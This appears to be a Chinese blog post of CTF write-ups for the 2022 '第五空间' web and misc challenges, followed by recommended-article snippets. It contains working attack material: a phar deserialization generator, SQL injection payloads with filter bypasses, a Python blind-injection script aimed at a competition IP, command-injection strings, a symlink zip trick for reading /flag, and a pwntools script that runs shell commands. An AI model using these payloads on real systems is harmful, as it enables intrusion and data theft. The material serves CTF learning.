2022第五空间WEB&MISC

CTFSHOW国赛复现-----Unzip(软连接利用) 因为解压的目录更改了,所以要把解压文件所在目录放在var/www/html(因为html目录下是web环境)这样才能在解压shell文件时实现getshell。这里利用linux构造软连接使得上传文件指向到var/www/html目录下。接下来就是在var/www/html目录下上传一个shell文件就可以了。再上传该压缩包,因为解压后的目录同名所以会覆盖原指定目录。所以此时目录是var/www/html/cmd.php。在test的目录下创建一句话php文件。--symlinks表示压缩软连接。 阅读详情

WEB

5_web_BaliYun

扫描目录存在www.zip,下载后解压得到源码。
限制了上传文件的后缀

image-20220919155614953

同时类中存在文件读取函数,很容易联想到phar反序列化。

首先生成phar

<?php
class upload{
     public $filename="/flag";
}
$p = new upload();
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($p);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

将生成的文件后缀改为test.png,上传后利用file_exists触发

image-20220919155750284

img_name=phar:///var/www/html/upoload/test.png

5_easylogin

只有用户名为admin时会显示密码错误,不过尝试闭合一直没成功,怀疑是被转义了,试了下宽字节注入,可以成功显示报错。

image-20220919160107455

先来尝试登录成功,or和and都被过滤了,这里可以用^

正常情况下^0即可登录成功,但是依然显示密码错误。

那么有可能是先查询出密码在和我们输入的密码进行md5比较,所以通过union构造一个password就可以了。

这里面union和select都被替换成空了,不过可以双写绕过。

payload

password=1&username=admin%df%27ununionion%09seselectlect%091,1,0x6334636134323338613062393233383230646363353039613666373538343962#

5_web_Eeeeasy_SQL

一道sql注入题,过滤了单双引号,所以想到的闭合方式就只剩反斜杠转义了。

先尝试利用or 1登录

image-20220919152734674

经过测试万能密码也会显示用户名密码错误,得找个其他的回显,当sql语句报错时,页面会不显示任何内容。

if被过滤了可以使用case when语句绕过

substr mid被过滤了可以用isstr绕过

空格被过滤了可以用%09代替

最后就是怎么让他既能报错也能显示密码错误。

这里方法还是挺多的,比如pow(1000000,10000),cot(0),exp(100000)

注入脚本如下

import requests
import string
s=string.printable
print(s)
url = "http://39.107.78.119:25912/api/api.php?command=login"
x=''
for i in range(1,30):
    print(i)
    for j in range(32,127):
        t = ''.join(hex(ord(c))[2:] for c in (x+chr(j)))
        data={'username':'\\',
        #'password':f'or(case(instr(binary(username),0x{t}))when(1)then(cot(0))else(1)end)#'}
        'password':f'or(case(instr(binary(password),0x{t}))when(1)then(cot(0))else(1)end)#'}
        
        r=requests.post(url,data=data,allow_redirects=False)
        if "success" not in r.text:
            print(t)
            x+=chr(j)
            break
#Flag_Account
#G1ve_Y0u_@_K3y_70_937_f14g!!!

得到用户名Flag_Account,密码G1ve_Y0u_@_K3y_70_937_f14g!!!

登录之后访问/api/flag.php

得到源码如下

image-20220919153152963

尝试读取/flag,但是/flag被过滤了,不过过滤语法是用的^也就是不能使用/flag开头,使用//flag即可绕过

payload:file=//flag

5_web_letmeguess_1

题目提示弱密码,那直接弱密码爆破了

image-20220919152503156

爆破出密码为admin123

登录之后,后面是个命令执行

过滤了分号用%0a代替,过滤了空格用%09代替

首先ls看到当前目录下有个kylin

image-20220919152103862

但是不知道这是个文件夹还是文件,直接打开没有内容,猜测是文件夹。

image-20220919152225507

过滤了/那就先cd进去再打开

image-20220919152302705

Payload:ip=%0acd%09k*%0atac%09*

MISC

5_简单的Base

直接16进制解码就可以了

sakana_reveage

下载附件后源码分析

可以上传普通文件或者zip文件,但是普通文件需要sakana开头。

后面还有解压以及下载文件的功能

很容易联想到ctf中常考的软链接,但是有过滤

image-20220919174949381

不过代码上有个逻辑错误

image-20220919175012219

当base64内容有问题时没有直接退出,而是进入进入到了subprocess.run中,执行了unzip命令。

假设我们输入错误的base64会出现如下错误

image-20220919175138106

会去找/tmp/sakanas.zip.zip或者/tmp/sakanas.zip.Zip。

而在1选项中,我们可以上传文件,并且存在目录穿越,这样就可以创建一个/tmp/sakanas.zip.zip文件。

unzip还有个问题,当压缩包中文件头前面有其他内容时,会继续解压。

1、本地生成带软链接的zip压缩包

echo 123 > /flag
ln -s /flag f
zip --symlinks flag.zip f

2、放入010editor中加入sakana

3、将文件base64编码后上传

image-20220919175602309

4、通过base64报错让程序解压上传的文件

image-20220919175658185

5、下载flag

image-20220919175724510

5_Misc_m@sTeR_0f

payload

from pwn import *
p = remote('123.56.174.142', 5702)
payload = "-interactive"
p.sendlineafter(' command --->>', payload)
p.sendline('.shell cat /flag.txt;')
p.sendline('.quit')
p.interactive()

利用-interactive强制进行交互IOimage-20220919181010931

.shell来执行系统命令,.quit退出

image-20220919181826436

CTFSHOW国赛复现:Unzip软连接漏洞实战解析(附完整利用流程) 本文深入解析了CTFSHOW国赛中Unzip软连接漏洞的实战利用。通过剖析漏洞原理,演示如何构造包含指向Web目录符号链接的ZIP文件,并利用unzip命令的覆盖特性,实现在非Web目录解压却向Web目录写入Web Shell的完整攻击链。文章附有详细的环境搭建、利用流程和防御建议,是理解文件上传与解压安全风险的经典案例。 阅读详情

相关推荐

『CTF Tricks』PHP-绕过open_basedir

读取目录:DirectoryIterator类 + glob://协议;FilesystemIterator类 + glob://协议;读取文件:ini_set() + 相对路径;shell命令执行;symlink();

Ho1aAs‘s Blog 3351

CISCN2023 unzip软链接getshell

使用CISCN2023的web题的unzip来演示压缩包的getshell

夜未至 3854

浅谈CTF中的逻辑漏洞

逻辑漏洞主要是指程序逻辑上出现的问题,例如逻辑不严密或者逻辑太复杂,从而导致一些逻辑分支不能正常处理或处理错误,通常这类漏洞多以月权访问,密码爆破等等。

PICACHU+++的博客 1683

ctfshow-国赛-unzip-软连接

本文介绍通过软连接实现网站渗透的方法:首先创建指向网站根目录/var/www/html的软连接test,写入一句话木马shell.php后重新压缩。上传该压缩包时,系统会解压到/tmp目录,但通过软连接可覆盖网站目录。最终访问shell.php文件即可获得webshell。该方法利用文件解压时的软连接特性,绕过常规上传限制实现权限提升。关键步骤包括建立软连接、写入木马、重新压缩和上传覆盖。

绘梨衣の沉默的博客。主要是CTF竞赛,网络安全,渗透测试,HVV,以及学习到的各种知识的分享 332

基于STM32的超声波流量计设计

本项目基于STM32微控制器设计了一种超声波流量计,采用时间差法测量液体或气体的流速,计算流量并通过显示屏实时显示,同时支持远程数据传输。本设计通过STM32微控制器实现了基于时间差法的超声波流量计,集成了超声波信号采集、流量计算、状态显示和远程通信功能。本系统需要实现超声波信号的实时采集与处理,计算流速和流量,并将数据通过OLED显示和无线模块上传。系统需具备高精度的时间测量能力和良好的抗干扰能力。通过计算超声波在顺流和逆流方向上的传播时间差,结合管道直径与流体特性,计算流速并进一步计算流量。

stm32d1219的博客 2350

华为网络实战:5分钟搞定OSPF+VRRP+MSTP多协议联动配置(附完整命令集)

本文深入解析了在企业网络中如何高效协同部署OSPF、VRRP和MSTP三大协议。通过一个典型的双核心网络案例,详细阐述了从规划、配置到验证的完整流程,重点强调了确保MSTP根桥与VRRP主设备一致的设计原则,以实现最优的二层与三层流量转发路径,并提供了完整的命令集和故障排查思路。

weixin_29251337的博客 154

戛纳电影节23号厅观影体验与技术解析

电影放映技术在现代影院体验中扮演着核心角色,其中激光放映与环绕声场设计是提升观影沉浸感的关键技术。通过高亮度激光投影(如40,000流明的Barco SP4K-40L)配合7.1声道系统,能够实现更精准的色彩还原与三维声场定位。这种技术组合特别适合展现修复版影片的胶片质感与复杂音效设计,在戛纳电影节23号厅的观影实践中得到完美体现。专业放映环境不仅呈现了《白色上帝》4K修复版独特的银盐晶体立体感,其"三前置"扬声器阵列更创造了声音在空间中的精确移动效果。对于电影从业者与影迷而言,理解这些放映技术原理有助于更

weixin_34406086的博客 401

目标检测——布匹缺陷检测数据集

结构瑕疵指的是布料本身的缺陷,包括嵌结、抽纱、错纱、断纱、预缩等问题,这些问题通常是在布料生产过程中出现的。而质量瑕疵则是指布料在使用过程中出现的问题,如污渍、断裂、鼓囊、针眼等,这些问题可能由生产过程中的结构瑕疵导致,也可能是在运输、存放和使用过程中引起的。布匹瑕疵如缺纬、断纬、粗纬、松纬、缺经、断经、粗经、筘痕、污点、破损等,若未得到及时有效的检测,这些瑕疵产品可能会流向市场,导致消费者的不满和退货,严重影响企业的声誉和品牌形象。织疵包括缺经、缺纬、跳花、弓纱、错纱、厚薄段、油污渍等;

zzjlhlcd的博客 612

34C3 CTF Web题 extract0r Writeup (软链接实现任意读文件/目录+SSRF绕过内网ip黑名单+Gopher攻击MySQL+zip文件构造)

extract0r – A web challenge from hxp 34C3 CTF https://ctftime.org/event/544 题目部署 本地搭建: https://github.com/shimmeris/CTF-Web-Challenges/tree/master/SSRF/34c3-2017-extract0r 在34c3-2017-extract0r目录下执...

keyball123的博客 1万+

autodl云服务器使用中的conda源报错

通过find path -name filename找到.condarc文件,在autodl服务器中,一般在/root/.condarc。为了利用jypyter打开conda虚拟环境运行,需要下载ipykenel。这个报错是源的问题,在通过源获取包元数据时出现了HTTP 429错误。通过conda换源解决。修改.condarc文件,命令: vim .condarc。但这样还不能解决问题,得把报错中有问题的源注释掉。通过以下命令添加清华镜像源。把报错的链接源注释如下。

Ty_kilig的博客 1584

UVM环境复位--stop_sequences()

在UVM验证环境中, stop_sequences是一个用于强制终止所有正在运行的 Sequence 的方法,通常用于动态控制激励生成流程。1.通过uvm_config_db传递事件和严格的同步机制,此方案符适用于复杂复位场景和动态测试控制。组件耦合:Driver 和 Sequence 不再直接依赖env,通过标准接口通信。竞争条件:确保 Driver 完成清理后再终止 Sequence。代码健壮性:使用非阻塞操作和事件监听,避免死锁。

qq_42779035的博客 3016

[0xGameCTF 2023] web题解

分析一下,过滤了分号,空格,斜杠,flag。参数c不为数字,不等于1024,且转换为整数时等于1024;简单分析一下,首先会检测MIME类型是否正确,然后经过二次渲染上传到指定路径。查看页面源码,发现存在前端检测(所以命令执行要bp抓包)和告诉我们hint。(这里我最初上传的gif带一句话木马刚好没被改,就不用再添加一句话木马了)然后在posts文件夹找到,得到flag。我们这里用的是gif,我们先上传一下。bp抓包,添加命令得到flag。访问,命令执行得到flag。按照要求来,得到flag。

rev1ve的博客 2856

ROS-订阅与处理激光雷达scan话题

激光雷达通常有四个性能衡量指标:测距分辨率、扫描频率(有时也用扫描周期)、角度分辨率及可视范围。测距分辨率衡量在一个给定的距离下测距的精确程度,通常与距离真实值相差在5-20mm;扫描频率衡量激光雷达完成一次完整扫描的快慢,通常在10Hz及以上;角度分辨率直接决定激光雷达一次完整扫描能返回多少个样本点;可视范围指激光雷达完整扫描的广角,可视范围之外即为盲区。

weixin_42438635的博客 4478

UNCTF2022-公开赛-MISC-部分WriteUp

后缀改成zip,然后解压,打开复制这一段,必须向上图那样复制,不然末尾一段零宽字符会没复制上。

qq_47875210的博客 1万+

Jetson Orin 上拉取 GMSL 相机流并保存在 DMA 内存中

本文介绍了在NVIDIA Jetson Orin平台上实现GMSL相机DMA内存共享的低延迟采集方案。通过V4L2+NvBufSurface技术,将相机数据直接存入DMA缓冲区,避免传统流程中的CPU拷贝开销。文章详细说明了设备初始化、DMA缓冲区分配、V4L2绑定等关键步骤,并展示了调用示例。该方案支持零拷贝访问,适用于AI推理、硬件编码等场景,能显著提升车载视觉系统的实时性能,为多路GMSL相机接入和低延迟处理提供了高效解决方案。

J。 696

YOLOv8改进,YOLOv8主干网络替换为FasterNet(全网独发手把手教学,助力涨点)

FasterNet的整体架构由四个分层阶段组成,每个阶段包含一组FasterNet模块,并在前面加一个嵌入或合并层。最后三层用于特征分类。每个FasterNet模块内部,一个PConv层后跟两个PWConv层,为了保持特征多样性并降低延迟,归一化和激活层仅在中间层之后进行,其中,PConv 是一种快速高效的卷积操作,通过仅对部分输入通道应用卷积滤波器,而保持其余通道不变,从而减少了计算量和内存访问。

在职AI算法工程师,擅长计算机视觉,YOLO目标检测、分割等,擅长web、pyqt界面可视化,好内容持续更新中,来这里跟大家一起学习,共同进步 2016

从0到1 CTFer成功之路》任意文件读取漏洞---学习笔记

1.3 任意文件读取漏洞 所谓文件读取漏洞,就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。从整个攻击过程来看,它常常作为资产信息搜集的一种强力的补充手段,服务器的各种配置文件、文件形式存储的密钥、服务器信息(包括正在执行的进程信息)、历史命令、网络信息、应用源码及二进制程序都在这个漏洞触发点被攻击者窥探。 文件读取漏洞常常意味着被攻击者的服务器即将被攻击者彻底控制。当然,如果服务器严格按照标准的安全规范进行部署,即使应用中存在可利用的文件读取漏洞,攻击者也很难拿到有价值的信息。文件读取漏洞在

aweiname2008的博客 6187

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

【CTF】2023Ciscn WEB方向题解

比赛体验一般,一黑灯基本上题都烂掉。

Sapphire037的博客 3414

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

[CTF]proc目录的应用

proc目录的运用 /proc目录 Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc 是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。 简单来讲,/proc 目录即保存在系统内存中的信息,大多数虚拟文件可以使用文件查看命令如cat、more或者less进行查看,有些文件信息表述的内容可以一目了然,但也有文

cosmoslin的博客 2994

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

【文件上传】软链接+zip包上传

漏洞:任意文件上传读取本地文件,包含链接的zip文件 1.在robots.txt中发现了禁止访问的地址,进行地址访问: 2. 来到登录界面,使用burp爆破出密码为:admin admin 3. 查看到需要上传文件,并且有提示: 4.生成软链接,打包上传即可获取flag ...

serendipity1130的博客 1873

idekCTF 2022 比赛复现

上面这串代码会从下标从 0 开始一直到最后的字符串转换为十进制数输出。我们看一下源码,开头的几段告诉我们设置了一个哈希密码,然后把这个密码复制到 randomData 数组的 12625 位置后面。

shinygod的博客 814

Dest0g3 520迎新赛

flag在flag.php中,但是在开头已经包含过一次了如何绕过呢?php最新版的小提示软链接是什么?也被称为符号链接。存放另一个文件的路径的形式存在,可以对一个不存在的文件名进行链接,可以对目录进行链接。于是:用伪协议配合多级符号链接的办法进行绕过Payload:软连接符号可以多。.........

Kanyun的博客 705

CTFSHOW 菜狗杯 easyPytHon_P 解题思路和方法

我们的目的是想要获得flag的值,而该值很有可能在flag.txt中,那么我们可以命令行查看flag.txt的值:cat flag.txt。构造url查看是否能获得由于的信息,发现命令执行,并且列出的文件中出现 flag.txt,同时得到信息 flag.txt和evilSource.py在同一目录下。该段代码首先判断cmd 和param是否为空值,如果都不为空值的话,执行subprocess.run函数。现在分析页面显示的python源码,发现requset接收两个值 cmd和param。

weixin_58052886的博客 642

tomcat 软连接问题

tomcat配置: 修改context.xml,在context节点添加allowLinking="true"属性,如下 &lt;ContextallowLinking="true"&gt;

iteye_14984的博客 180

linux通过软连接使web项目能访问项目路径外的资源

目录 第一章 将项目上传到服务器上 第二章 配置软连接 第三章 软连接的删除 前言:在server.xml配置了数次依然不能使web项目访问web项目路径外资源,于是我从网上找了一个新的方法,通过软连接来实现访问项目路径外面的资源 转载参考于:http://www.cnblogs.com/zeng1994/p/7512778.html                         ...

仰望星空 3425

MTCTF2022web部分题解

美团CTF2022web onelineunzip、babyjava、easypickle等题解。

blue_lotus_first的博客 1661
上一篇: CTFSHOW七夕杯web
下一篇: CTFSHOW 新生杯web
yu22x
博客等级 码龄7年 3740粉丝 121原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值